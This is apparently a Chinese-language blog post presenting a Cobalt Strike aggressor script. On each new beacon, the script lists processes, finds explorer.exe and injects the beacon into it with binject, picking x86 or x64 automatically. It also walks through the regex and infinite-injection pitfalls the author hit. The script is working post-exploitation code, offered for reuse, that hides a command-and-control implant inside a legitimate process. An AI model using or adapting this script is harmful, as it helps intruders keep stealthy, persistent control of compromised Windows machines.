Cobalt Strike automigrate自动迁移进程脚本

    metasploit有个功能叫auto migrate 可以自动把meterpreter移动到其他进程,不过Cobalt Strike却没有这个功能,在网上搜到一个移动到进程id的aggressor脚本,不过用了下发现有问题,另外如果只是想移动到指定id的进程的话还不如用Cobalt Strike自带的inject命令。遂想自己写个脚本,实现beacon上线后自动注入到指定进程名,还能根据当前的beacon所在的进程是32位还是64位来自动选择binject的注入类型。
    先贴下写好的脚本内容:
on beacon_initial
{
 sub callback
 {
  $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  $listener = "test";
  if ($2  ismatch $regex)
  {
   $pid = matched()[1];
   $inject_pid = $pid;
   if (-is64 $1)
   {
    $arch = "x64";
   }
   else
   {
    $arch = "x86";
   }
   binject($1, $pid, $listener, $arch);
  }
 }
 if($inject_pid != beacon_info($1,"pid"))
 {
  bps($1, &callback);
 }
}
    脚本不难,讲下编写过程中遇到的几个坑:
    1、正则表达式的编写
    bps返回的进程列表大致如下:
    sppsvc.exe 648 368
    svchost.exe 648 444
    WmiPrvSE.exe 788 1596
    msdtc.exe 648 2740
    .....
    在写正则表达式的时候以为上面的进程列表每行字符串分割是空格,结果发现是tab(\t),另外每行是以\n来换行的,而且正则表达式的字符串要用单引号包裹,用双引号发现怎么都匹配不上。
    2、不停注入的问题
    当注入了进程返回新的beacon后,它也要执行这个脚本,导致不停地注入explorer.exe。于是便想先将explorer.exe的进程id赋给$inject_pid,然后再判断当前新的beacon所在进程id是否是explorer.exe的id,是的话就不再注入,这样便能停止死循环。
    使用的时候可以根据需要修改要注入的进程名(explorer.exe)和自己设定的listener名(test)。

评论

此博客中的热门博文

菜刀连接php一句话木马返回200的原因及解决方法

vultr安装kali linux 折腾手记